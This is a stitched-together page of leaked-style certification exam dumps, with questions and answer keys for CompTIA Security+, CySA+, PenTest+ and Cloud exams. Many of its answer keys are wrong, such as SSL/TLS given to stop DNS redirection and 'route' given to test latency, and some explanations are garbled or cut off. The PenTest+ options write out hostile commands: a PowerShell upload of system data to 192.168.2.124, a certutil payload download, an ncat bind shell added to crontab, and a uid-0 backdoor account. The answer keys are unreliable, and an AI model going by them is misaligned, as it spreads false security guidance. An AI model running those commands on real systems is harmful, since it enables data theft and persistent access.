Latest sy0-601 dumps: 1093 latest CompTIA Security+ exam questions and answers

Latest sy0-601 dumps

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FromNumber of exam questionsAssociated certificationOnline Download
Pass4itsure15CompTIA Security+SY0-601 PDF
QUESTION 1:

After gaining access to a dual-homed (i.e.. wired and wireless) multifunction device by exploiting a vulnerability in the device\’s firmware, a penetration tester then gains shell access on another networked asset This technique is an example of:

A. privilege escalation

B. footprinting

C. persistence

D. pivoting.

Correct Answer: D

Pivoting -> The act of an attacker moving from one compromised system to one or more other systems on the network

QUESTION 2:

After entering a username and password, an administrator must draw a gesture on a touch screen. Which of the following demonstrates what the administrator is providing?

A. Multifactor authentication

B. Something you can do

C. Biometric

D. Two-factor authentication

Correct Answer: B

QUESTION 3:

A global pandemic is forcing a private organization to close some business units and reduce staffing at others.

Which of the following would be BEST to help the organization\’s executives determine the next course of action?

A. An incident response plan

B. A communications plan

C. A disaster recovery plan

D. A business continuity plan

Correct Answer: D

QUESTION 4:

Ann, a customer, received a notification from her mortgage company stating her PII may be shared with partners, affiliates, and associates to maintain day-to-day business operations. Which of the following documents did Ann receive?

A. An annual privacy notice

B. A non-disclosure agreement

C. A privileged-user agreement

D. A memorandum of understanding

Correct Answer: A

From CompTIA’s official textbook:

“A privacy notice is typically an externally-facing document informing customers, users, or stakeholders about what the organization does with PII. It\’s also called a privacy statement.”

QUESTION 5:

After a recent security incident, a security analyst discovered that unnecessary ports were open on a firewall policy for a web server. Which of the following firewall policies would be MOST secure for a web server?

latest sy0-601 dumps exam questions 5

A. Option A

B. Option B

C. Option C

D. Option D

Correct Answer: D

QUESTION 6:

As part of a security compliance assessment, an auditor performs automated vulnerability scans. In addition, which of the following should the auditor do to complete the assessment?

A. User behavior analysis

B. Packet captures

C. Configuration reviews

D. Log analysis

Correct Answer: D

A vulnerability scanner is essentially doing that. It scans every part of your network configuration that it can and determines if known vulnerabilities are known at any point of that.

QUESTION 7:

A security analyst is configuring a large number of new company-issued laptops. The analyst received the following requirements:

1.
The devices will be used internationally by staff who travel extensively.
2.
Occasional personal use is acceptable due to the travel requirements.
3.
Users must be able to install and configure sanctioned programs and productivity suites.
4.
The devices must be encrypted
5.
The devices must be capable of operating in low-bandwidth environments.

Which of the following would provide the GREATEST benefit to the security posture of the devices?

A. Configuring an always-on VPN

B. Implementing application whitelisting

C. Requiring web traffic to pass through the on-premises content filter

D. Setting the antivirus DAT update schedule to weekly

Correct Answer: A

1-hackers spying on network traffic

2-they can still install stuff. app listing would only allow stuff IT OK\’d. Do you want to tell IT all your personal apps?

3-Sure can

4-network traffic is encrypted. These better have minimum TPM and antimalware on them.

5-Always on VPN is faster than a regular VPN – our company has been using it for years.

QUESTION 8:

A company recently experienced an attack during which the #5 main website was directed to the attacker \’s web server, allowing the attacker to harvest credentials from unsuspecting customers.

Which of the following should the company Implement to prevent this type of attack from occurring in the future?

A. IPSec

B. SSL/TLS

C. DNSSEC

D. S/MIME

Correct Answer: B

QUESTION 9:

In a phishing attack, the perpetrator is pretending to be someone in a position of power in an effort to influence the target to click or follow the desired response. Which of the following principles is being used?

A. Authority

B. Intimidation

C. Consensus

D. Scarcity

Correct Answer: B

Whaling is highly tailored to their audiences and often includes the victim\’s name, job title, and basic details that make the communications look legitimate.

QUESTION 10:

A network administrator needs to build out a new data center, with a focus on resiliency and uptime. Which of the following would BEST meet this objective? (Choose two.)

A. Dual power supply

B. Off-site backups

C. Automatic OS upgrades

D. NIC teaming

E. Scheduled penetration testing

F. Network-attached storage

Correct Answer: AB

Dual PS keeps the servers up / a DRS will conform to the question of resiliency: Site Resiliency Resiliency of a site should include consideration of sites used to continue operations. Site resiliency considerations can be connected to the idea of restoration sites and their availability.

Related to the location of backup storage is where the restoration services will be located. If the organization has suffered physical damage to its facility, having offsite data storage is only part of
the solution.

This data will need to be processed somewhere, which means that computing facilities similar to those used in normal operations are required. These sites are referred to as recovery sites. The recovery problem can be approached in a number of ways, including hot sites, warm sites, and cold sites.

https://searchdatacenter.techtarget.com/definition/resiliency

QUESTION 11:

A RAT that was used to compromise an organization\’s banking credentials were found on a user\’s computer.

The RAT evaded antivirus detection. It was installed by a user who has local administrator rights to the system as part of a remote management toolset.

Which of the following recommendations would BEST prevent this from reoccurring?

A. Create a new acceptable use policy.

B. Segment the network into trusted and untrusted zones.

C. Enforce application whitelisting.

D. Implement DLP at the network boundary

Correct Answer: C

Having a list of allowed apps decreases the risk of an unwanted application with malware being installed.

QUESTION 12:

The following are the logs of a successful attack.

Latest CCNP Enterprise 300-410 dumps exam questions 12

Which of the following controls would be BEST to use to prevent such a breach in the future?

A. Password history

B. Account expiration

C. Password complexity

D. Account lockout

Correct Answer: D

Reference: https://www.computerhope.com/jargon/a/accolock.htm#:~:text=Account%20lockout%20keeps%20the%20account,log%20into%20your%20account%20again

QUESTION 13:

A security analyst is investigating a vulnerability in which a default file permission was set incorrectly. The company uses non-credentialed scanning for vulnerability management.

Which of the following tools can the analyst use to verify the permissions?

A. ssh

B. chmod

C. ls

D. setuid

E. nessus

F. nc

Correct Answer: B

chmod is used to set permissions for the file.

If you use: ls -l


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  • Number of Questions Maximum of 85 questions
  • Type of Questions Multiple choice and performance-based
  • Length of Test 165 minutes
  • Passing Score 750 (on a scale of 100-900)
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[2022.11] New CompTIA Cybersecurity Analyst (CySA+) Free CS0-002 Dumps Questions

NEW QUESTION 1

A cybersecurity analyst is investigating an incident report concerning a specific user workstation. The workstation is exhibiting high CPU and memory usage, even when first started, and network bandwidth usage is extremely high. The user reports that applications crash frequently, despite the fact that no significant changes in work habits have occurred.

An antivirus scan reports no known threats. Which of the following is the MOST likely reason for this?

A. Advanced persistent threat
B. Zero-day
C. Trojan
D. Logic bomb

Correct Answer: B

NEW QUESTION 2

In response to a potentially malicious email that was sent to the Chief Financial Officer (CFO), an analyst reviews the logs and identifies a questionable attachment using a hash comparison. The logs also indicate the attachment was already opened. Which of the following should the analyst do NEXT?

A. Create a sinkhole to block the originating server.
B. Utilize the EDR platform to isolate the CFO\\’s machine.
C. Perform malware analysis on the attachment.
D. Reimage the CFO\\’s laptop.

Correct Answer: A

Reference: https://bluecatnetworks.com/blog/dns-sinkhole-a-tool-to-help-thwart-cyberattacks/

NEW QUESTION 3

The Chief Executive Officer (CEO) instructed the new Chief Information Security Officer (CISO) to provide a list of enhancements to the company\\’s cybersecurity operation. As a result, the CISO has identified the need to align security operations with industry best practices. Which of the following industry references is appropriate to accomplish this?

A. OSSIM
B. NIST
C. PCI
D. OWASP

Correct Answer: B

Reference: https://www.nist.gov/sites/default/files/documents/itl/Cybersecurity_Green-Paper_FinalVersion.pdf

NEW QUESTION 4

A technician is running an intensive vulnerability scan to detect which ports are open to exploit. During the scan, several network services are disabled and production is affected. Which of the following sources would be used to evaluate? Which network service was interrupted?

A. Syslog
B. Network mapping
C. Firewall logs
D. NIDS

Correct Answer: A

NEW QUESTION 5

A team of security analysts has been alerted to potential malware activity. The initial examination indicates one of the affected workstations on beaconing on TCP port 80 to five IP addresses and attempting to spread across the network over port 445. Which of the following should be the team\\’s NEXT step during the detection phase of this response process?

A. Escalate the incident to management, who will then engage the network infrastructure team to keep them informed
B. Depending on the system critically remove each affected device from the network by disabling wired and wireless connections
C. Engage the engineering team to block SMB traffic internally and outbound HTTP traffic to the five IP addresses Identify potentially affected systems by creating a correlation
D. Identify potentially affected systems by creating a correlation search in the SIEM based on the network traffic.

Correct Answer: D

NEW QUESTION 6

An organization has the following risk mitigation policy:
1. Risks with a probability of 95% or greater will be addressed before all others regardless of the impact.
2. All other prioritization will be based on risk value. The organization has identified the following risks:

Which of the following is the order of priority for risk mitigation from highest to lowest?

A. A, B, D, C
B. A, B, C, D
C. D, A, B, C
D. D, A, C, B

Correct Answer: D

NEW QUESTION 7

A storage area network (SAN) was inadvertently powered off while power maintenance was being performed in a datacenter. None of the systems should have lost all power during the maintenance. Upon review, it is discovered that a SAN administrator moved a power plug when testing the SAN\\’s fault notification features.

Which of the following should be done to prevent this issue from reoccurring?

A. Ensure both power supplies on the SAN are serviced by separate circuits so that if one circuit goes down, the other remains powered.
B. Install additional batteries in the SAN power supplies with enough capacity to keep the system powered on during maintenance operations.
C. Ensure power configuration is covered in the data center change management policy and has the SAN administrator review this policy.
D. Install a third power supply in the SAN so the loss of any power intuit does not result in the SAN completely powering off.

Correct Answer: A

NEW QUESTION 8

A security analyst is investigating an incident that appears to have started with SOL injection against a publicly available web application. Which of the following is the FIRST step the analyst should take to prevent future attacks?

A. Modify the IDS rules to have a signature for SQL injection.
B. Take the server offline to prevent continued SQL injection attacks.
C. Create a WAF rule In block mode for SQL injection
D. Ask the developers to implement parameterized SQL queries.

Correct Answer: A

NEW QUESTION 9

An analyst finds that unpatched servers have undetected vulnerabilities because the vulnerability scanner does not have the latest set of signatures. Management directed the security team to have personnel update the scanners with the latest signatures at least 24 hours before conducting any scans, but the outcome is unchanged.

Which of the following is the BEST logical control to address the failure?

A. Configure a script to automatically update the scanning tool.
B. Manually validate that the existing update is being performed.
C. Test vulnerability remediation in a sandbox before deploying.
D. Configure vulnerability scans to run in credentialed mode.

Correct Answer: A

NEW QUESTION 10

An analyst was tasked with providing recommendations of technologies that are PKI X.509 compliant for a variety of secure functions. Which of the following technologies meets the compatibility requirement? (Select three.)

A. 3DES
B. AES
C. IDEA
D. PKCS
E. PGP
F. SSL/TLS
G. TEMPEST

Correct Answer: BDF

NEW QUESTION 11

Which of the following is MOST dangerous to the client environment during a vulnerability assessment penetration test?

A. There is a longer period of time to assess the environment.
B. The testing is outside the contractual scope
C. There is a shorter period of time to assess the environment
D. No status reports are included with the assessment.

Correct Answer: B

NEW QUESTION 12

A cybersecurity analyst is dissecting an intrusion down to specific techniques and wants to organize them in a logical manner. Which of the following frameworks would BEST apply in this situation?

A. Pyramid of Pain
B. MITRE ATTandCK
C. Diamond Model of Intrusion Analysis
D. CVSS v3.0

Correct Answer: B

NEW QUESTION 13

A security analyst is investigating a compromised Linux server. The analyst issues the ps command and receives the following output.

Which of the following commands should the administrator run NEXT to further analyze the compromised system?

A. strace /proc/1301
B. rpm -V openash-server
C. /bin/la -1 /proc/1301/exe
D. kill -9 1301

Correct Answer: A

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CompTIA PT0-002 Free Dumps: CompTIA PenTest+ Exam Practice Questions Answers Updated 2022-09

NEW QUESTION 1

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

A. HTTPS communication
B. Public and private keys
C. Password encryption
D. Sessions and cookies

Correct Answer: D

NEW QUESTION 2

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

A. Wireshark
B. Aircrack-ng
C. Kismet
D. Wifite

Correct Answer: B

Reference: https://null-byte.wonderhowto.com/how-to/hack-wi-fi-stealing-wi-fi-passwords-with-evil-twin-attack-0183880/

NEW QUESTION 3

Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

A. Executive summary of the penetration-testing methods used
B. Bill of materials including supplies, subcontracts, and costs incurred during the assessment
C. Quantitative impact assessments are given a successful software compromise
D. Code context for instances of unsafe type-casting operations

Correct Answer: C

NEW QUESTION 4

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

A. Cost of the assessment
B. Report distribution
C. Testing restrictions
D. Liability

Correct Answer: B

NEW QUESTION 5

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

A. A signed statement of work
B. The correct user accounts and associated passwords
C. The expected time frame of the assessment
D. The proper emergency contacts for the client

Correct Answer: C

NEW QUESTION 6

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider\\’s metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

A. Cross-site request forgery
B. Server-side request forgery
C. Remote file inclusion
D. Local file inclusion

Correct Answer: B

Reference: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

NEW QUESTION 7

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following: Pre-engagement interaction (scoping and ROE) Intelligence gathering (reconnaissance) Threat modeling Vulnerability analysis Exploitation and post-exploitation Reporting Which of the following methodologies does the client use?

A. OWASP Web Security Testing Guide
B. PTES technical guidelines
C. NIST SP 800-115
D. OSSTMM

Correct Answer: B

Reference: https://kirkpatrickprice.com/blog/stages-of-penetration-testing-according-to-ptes/

NEW QUESTION 8

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

Which of the following is the MOST likely reason for the lack of output?

A. The HTTP port is not open on the firewall.
B. The tester did not run sudo before the command.
C. The web server is using HTTPS instead of HTTP.
D. This URI returned a server error.

Correct Answer: A

NEW QUESTION 9

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe
B. powershell (New-Object System.Net.WebClient).UploadFile(http://192.168.2.124/upload.php\\',systeminfo.txt\’)
C. schtasks /query /fo LIST /v | find /I “Next Run Time:”
D. wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe

Correct Answer: B

Reference: https://infosecwriteups.com/privilege-escalation-in-windows-380bee3a2842

NEW QUESTION 10

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

A. Nmap
B. Wireshark
C. Metasploit
D. Netcat

Correct Answer: B

NEW QUESTION 11

Performing a penetration test against an environment with SCADA devices brings additional safety risks because the:

A. devices produce more heat and consume more power.
B. devices are obsolete and are no longer available for replacement.
C. protocols are more difficult to understand.
D. devices may cause physical world effects.

Correct Answer: C

Reference: https://www.hindawi.com/journals/scn/2018/3794603/

NEW QUESTION 12

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client\\’s laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
B. wmic startup get caption,command
C. crontab –l; echo “@reboot sleep 200 andand ncat –lvp 4242 –e /bin/bash”) | crontab 2>/dev/null
D. sudo useradd –ou 0 –g 0 user

Correct Answer: B

NEW QUESTION 13

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

A. Smurf
B. Ping flood
C. Fraggle
D. Ping of death

Correct Answer: A

Reference: https://resources.infosecinstitute.com/topic/icmp-attacks/

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Get hold of the latest test questions for the CompTIA Cloud+ CV0-002 exam

QUESTION 1
A cloud implementation engineer successfully created a new VM. However, the engineer notices the new VM is not
accessible from another network. A ping test works from another VM on the same subnet. Which of the following is the
MOST likely problem?
A. Incorrect subnet
B. Incorrect host IP address
C. Incorrect VLAN
D. Incorrect gateway
Correct Answer: A

QUESTION 2
An administrator is testing a new web server from outside of the corporate firewall. The administrator performs a test
from a single PC and the web server responds accordingly. The administrator then provisions several virtual machines
on a
network behind NAT and uses them to perform the same operation on the web server at the same time, but thereafter
soon discovers that none of the machines can reach the web server.
Which of the following could be responsible?
A. IPS
B. Blacklisting
C. IDS
D. Whitelisting
E. Firewall
Correct Answer: E

QUESTION 3
Recent feedback from an employee engagement survey stated that users are frustrated with multiple logins to different
SaaS providers, and the cloud engineering teams is directed to address this issue and implement a solution. The
security policy states that users must access the SaaS from approved IP addresses.
Which of the following is the BEST and most efficient solution to deploy?
A. Deploy an IPSec tunnel to each SaaS provider and enable biometric login.
B. Deploy a smart card login and change passwords to each SaaS vendor every 30 days.
C. Deploy a CASB solution and whitelist the approved SaaS applications.
D. Deploy SSO and enforce VPN access to the corporate domain.
Correct Answer: D

QUESTION 4
An administrator is unable to connect to servers in the DMZ. Which of the following commands should the administrator
run to determine where the connection failure occurs?
A. nslookup
B. traceroute
C. telnet
D. netstat
Correct Answer: B

QUESTION 5
Asynchronous data replication for a SaaS application occurs between Regions A and B. Users in Region A are reporting
that the most current data for an insurance claims application is not available to them until after 11:30 a.m. The cloud
administrator for this SaaS provider checks the network utilization and finds that only about 10% of the network
bandwidth is being used.
Which of the following describes how the cloud administrator could BEST resolve this issue?
A. Check the storage utilization logs in both regions.
B. Check the RAM utilization logs in both regions.
C. Check the CPU utilization logs in both regions.
D. Check the storage commit logs in both regions.
Correct Answer: D

QUESTION 6
A mobile subscriber is experiencing random limited-service outages. Customers report being unable to make calls or
browse. The service provider management console is not showing any alarms, errors, or critical logs, but does show a
large number of connection request failures.
Which of the following could be the problem?
A. Misconfigured federation
B. IP address limitations
C. SSO failure
D. Unavailable directory service
Correct Answer: A

QUESTION 7
A user has submitted a ticket to request additional VMs due to long wait times for online ordering. Given the snapshot of
the resources in the table below: Which of the following is the BEST option for the administrator to resolve the ticket?

softwarexam cv0-002 exam questions-q7

A. Add vCPU to the database server to increase capacity.
B. Add disks to the database server to increase capacity.
C. Add virtual network ports to the web server to increase capacity.
D. Add memory to the web server to increase capacity.
Correct Answer: D


QUESTION 8
An administrator has recently added a new host server to a private cloud environment. The host has two quad-core
processors and 128GB of RAM. The server will have ten guest servers that require a minimum of 1 CPU and 8GB of
RAM per server. Four of the servers will only be used during off hours. Which of the following should the administrator
implement to ensure that the guest servers have the proper resources?
A. Dynamic CPU
B. Redundancy
C. NIC Teaming
D. Dynamic RAM
Correct Answer: A

QUESTION 9
A cloud administrator is adding several accounts for new development team interns. These interns will need access to
some, but not all, of the resources and will only be working over the summer. Which of the following user provisioning
techniques should be used?
A. Create a single account for the interns to share. Set the expiration date for the account to six months.
B. Create a role labeled “interns” with the appropriate permissions. Create a separate account with an expiration date
for each intern and add each intern to that role.
C. Create one template user account with the appropriate permissions and use it to clone the other accounts. Set an
expiration date for each account individually.
D. Create individual accounts for each intern, set the permissions and expiration date for each account, and link them to
a temporary guests user group.
Correct Answer: C


QUESTION 10
A technician needs to configure a virtual NIC on a Class A IP address network. Which of the following is the default
subnet mask for this network?
A. /8
B. /16
C. /24
D. /28
Correct Answer: A
https://www.pantz.org/software/tcpip/subnetchart.html

QUESTION 11
A file server is being migrated from physical hardware into a private cloud. Baselining of the server shows the disks
average 90% full at all times. The contents of the file server consist mostly of compressed audio files. Multiple copies of
the same files are often saved in different locations on the same disk. Which of the following storage technologies is
MOST likely to help minimize storage utilization when moving this server to the private cloud?
A. Compression
B. Thin provisioning
C. Deduplication
D. Tokenization
Correct Answer: C

QUESTION 12
An administrator needs to test the latency between two servers. Which of the following commands should be used?
A. route
B. arp
C. ping
D. nslookup/dig
Correct Answer: A

QUESTION 13
A software development company is building cloud-ready applications and needs to determine the best approach for
releasing software. Which of the following approaches should be used?
A. Perform QA, develop, test, and release to production
B. Test, perform QA, develop, and release to production
C. Develop, perform QA, test, and release to production
D. Develop, test, perform QA, and release to production
Correct Answer: D

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Vendor: CompTIA
Certifications: CompTIA Cloud+
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Q&As: 434

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  • Exam Codes: CLO-001
  • Number of Questions :50 questions
  • Type of Questions : Multiple choice
  • Length of Test :60 Minutes
  • Passing Score: 720
  • Recommended Experience:At least six months working in an environment that markets or relies on IT-related services
  • Languages:English, Japanese and Portuguese
  • Exam Name: CompTIA Cloud Essentials Exam
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Exam B
QUESTION 1
Which of the following is the function of orchestration services?
A. Assemble functional requirements for application development
B. Configure application clusters with Web services
C. Enable and disable load balancers
D. Manage the starting and stopping of application server clusters
CLO-001 exam Correct Answer: D
Explanation

QUESTION 2
Which of the following is true when mitigating risks in a cloud environment while avoiding impact to performance?
A. When securing cloud resources, only the most sensitive data should be secured.
B. When securing cloud resources, it is always a best practice to encrypt all data stored in the cloud.
C. When securing cloud resources, data security is not an issue.
D. When securing cloud resources, it is always a best practice to use the strongest security on the most sensitive data.
Correct Answer: A
Explanation

QUESTION 3
As part of a critical SaaS application, one of the contractual statements by the cloud provider is a requirement to perform scheduled maintenance. This has a direct impact on which of the following?
A. Service strategy
B. Service transition
C. Service operation
D. Service design
CLO-001 dumps Correct Answer: C
Explanation

QUESTION 4
Which of the following is a benefit of cloud computing?
A. Cloud computing delivers IT capabilities that scale with demand.
B. Cloud computing delivers a wide range of services that are easily accessible to users
C. Cloud computing delivers IT capacity on demand.
D. Cloud computing negates the need for a procurement department.
Correct Answer: A
Explanation

QUESTION 5
How can an organization successfully implement a PaaS strategy?
A. Open up internal databases with Web service access.
B. Take inventory of the application portfolio and select external suppliers
C. Standardize on a limited set of virtual machines.
D. Continuously execute performance analytics to monitor providers
CLO-001 pdf Correct Answer: A
Explanation

QUESTION 6
A company’s IT department currently spends several hours a day maintaining the hardware of the database server. The company migrates the server to the cloud. Which of the following job responsibilities of the IT department has been MOST impacted by this change?
A. Service Strategy
B. Service Operation
C. Service Design
D. Service Transition
Correct Answer: B
Explanation

QUESTION 7
Which of the following roles can the IT department play in the selection process of cloud computing providers?
A. Help understand and explain the application lifecycle
B. Help understand performance parameters
C. Help understand provider quality
D. All of the above are correct
CLO-001 vce Correct Answer: D
Explanation

QUESTION 8
Why does cloud computing shift capital cost to variable cost?
A. Cloud computing is more cost-efficient
B. IT assets are not owned by the customer
C. Servers are better utilized
D. Staff is no longer hired by the customer
Correct Answer: B
Explanation

QUESTION 9
A private cloud is defined as:
A. a deployment model that uses an external cloud provider to provide host application servicesthat are Internet accessible.
B. a deployment model that partners with other industry related companies to provide infrastructure services.
C. a deployment model that uses virtualization technologies to provide infrastructure on demand within its network.
D. a deployment model that uses an external cloud provider to provide host infrastructure services that are Internet accessible.
CLO-001 exam Correct Answer: C
Explanation

QUESTION 10
Which of the following is important to standardize?
A. Information standards and applications
B. User names and hardware providers
C. Virtual machine images and applications
D. Virtual machine images and identity information standards
Correct Answer: D
Explanation

QUESTION 11
Which of the following are essential steps to take when creating a virtual server?
A. Select a machine image to run, select an application set to run, select security credentials.
B. Select a machine image to run, select an application set to run, select the size of the virtual machine.
C. Select a machine image to run, select security credentials, select the size of the virtual machine.
D. Select an application set to run, select security credentials, select the size of the virtual machine.
CLO-001 dumps Correct Answer: C
Explanation

QUESTION 12
A specific cloud deployment has been established specifically for financial services companies to consume. Which of the following BEST describes this type of
cloud environment?
A. Private cloud
B. Community cloud
C. Hybrid cloud
D. Public cloud
Correct Answer: B
Explanation

QUESTION 13
An organization is in the process of selecting a SaaS provider to replace its current internal customer relationship management system. The business expects better functionality than what is provided with the internal system. Which of the following is the BEST reason for moving to a SaaS cloud service?
A. Understand who the most experienced IaaS cloud providers are so that a recommendation can be made to the business based on what other industry vendors are doing.
B. Understand the current SLA’s of the cloud providers to ensure that they can exceed the current expected business SLA’s.
C. Understand current functional and non-functional requirements of the system in order to ensure the new system can meet and provide value add to current business needs.
D. Understand the cost model of the hosted infrastructure and whether the current system can be hosted on cloud provided infrastructure.
CLO-001 pdf Correct Answer: C
Explanation

QUESTION 14
In which of the following ways do IT outsourcing and cloud computing differ?
A. Cloud computing services are typically much more scalable.
B. Cloud computing is much cheaper.
C. Hardware and software assets are typically customizable.
D. IT outsourcing promotes innovation.
Correct Answer: A
Explanation

QUESTION 15
Since the implementation of a cloud infrastructure, a senior level network administrator’s job description has changed from being responsible for maintaining the hardware of the network infrastructure to more of a management position, ensuring the cloud vendor is providing the services specified in the contract with the company. Which of the following has been impacted the MOST by the change in job responsibility?
A. Service Transition
B. Service Design
C. Service Operation
D. Service Strategy
CLO-001 vce Correct Answer: B
Explanation

QUESTION 16
Which of the following is an essential step in the start-up process of a virtual server?
A. Identify the location of the physical machine
B. Select identity providers
C. Select security credentials
D. Select the application set that will run on it
Correct Answer: C
Explanation

QUESTION 17
An entrepreneur has decided to open an e-commerce site to complement their retail store. After researching their options, they decide that a PaaS solution will be sufficient. To reduce upfront cost, the entrepreneur intends to build the site themselves. Which of the following skill-sets will be needed?
A. Firewall Administration
B. Web-Server Administration
C. Security standard development
D. Application development
CLO-001 exam Correct Answer: D
Explanation

QUESTION 18
An organization is replacing its core insurance platform. The solution is made up of internally hosted insurance systems and applications hosted in the cloud. Which of the following activities is part of service transition?
A. Ensure that as part of the change management process the events are sequenced to include the cloud provider and that they have resources available.
B. Ensure that monitoring controls are implemented by the cloud provider to ensures that the system is highly available and that performance can be measured.
C. Ensure that the SLA’s for availability have been well documented and agreed to as part of the contract arrangement between the two companies.
D. Ensure that the capacity and storage is available to meet the current and future demands of the solution of the cloud provider’s infrastructure.
Correct Answer: A
Explanation

QUESTION 19
The business benefits of mobile computing are enhanced MOST by which of the following cloud service characteristics?
A. Hardware independence
B. Security
C. Distribution over the Internet
D. Time to market
CLO-001 dumps Correct Answer: C
Explanation

QUESTION 20
Which of the following is the cloud characteristics that speeds up development, deployment, and overall time to market?
A. Rapid elasticity
B. Cloud bursting
C. Universal access
D. Network pooling
Correct Answer: A
Explanation

QUESTION 21
Which of the following must be implemented by a cloud provider to ensure that different entities can authenticate and share basic user accounting information?
A. Scalability
B. Federation
C. Virtualization
D. Self service
CLO-001 pdf Correct Answer: B
Explanation

QUESTION 22
Privacy is the right of________ to selectively disclose information about _________ and restrict the further use of that information by any party.
A. companies, others
B. companies, themselves
C. individuals, others
D. individuals, themselves
Correct Answer: D
Explanation

QUESTION 23
Which of the following is a differentiating characteristic of private cloud solutions compared to public cloud solutions?
A. Private cloud solutions are dedicated for use by a single organization.
B. Private cloud solutions are never accessible via the public Internet.
C. Private cloud solutions do not provide incremental scalability.
D. Private cloud solutions save considerably more money than a public cloud solution.
CLO-001 vce Correct Answer: A
Explanation

QUESTION 24
Which of the following describes the commonality between cloud computing and outsourcing?
A. Shift from CAPEX to OPEX
B. Reduced compliance cost
C. Simplified security management
D. Reduced system architecture complexity
Correct Answer: A
Explanation

QUESTION 25
How can an organization successfully implement an IaaS strategy?
A. Standardize on a limited set of virtual machines
B. Continuously execute performance analytics
C. Open up internal databases with Web service access
D. Take inventory of the application portfolio and select external suppliers
CLO-001 exam Correct Answer: A
Explanation

QUESTION 26
An organization has just gone to a start-up cloud provider for its entire infrastructure. Which of the following is one of the new organizational roles required at the cloud provider?
A. Supply manager
B. Commercial manager
C. Infrastructure project manager
D. Credit risk manager
Correct Answer: C
Explanation

QUESTION 27
Which of the following is a service level management tool aimed at quantifying a cloud offerings’ performance?
A. Mean Time to Recovery
B. Risk Assessment
C. Business Impact Analysis
D. Request for Proposal
CLO-001 dumps Correct Answer: A
Explanation

QUESTION 28
A company has hired a third party vendor to provide email and spam/anti-malware filtering services. The type of cloud service provided by the vendor is BEST
described as which of the following?
A. SaaS
B. IaaS
C. CaaS
D. PaaS
Correct Answer: A
Explanation

Recommended Experience

  • None

Recommended Equipment

  • None

Related Certifications

  • CompTIA Cloud Essentials CLO-001

Related Job Functions

  • Business Analysts
  • Business Process Owners
  • IT staff members
  • Support staff
  • Entry-level datacenter staff
  • Sales staff in cloud product
  • Marketing staff in cloud product

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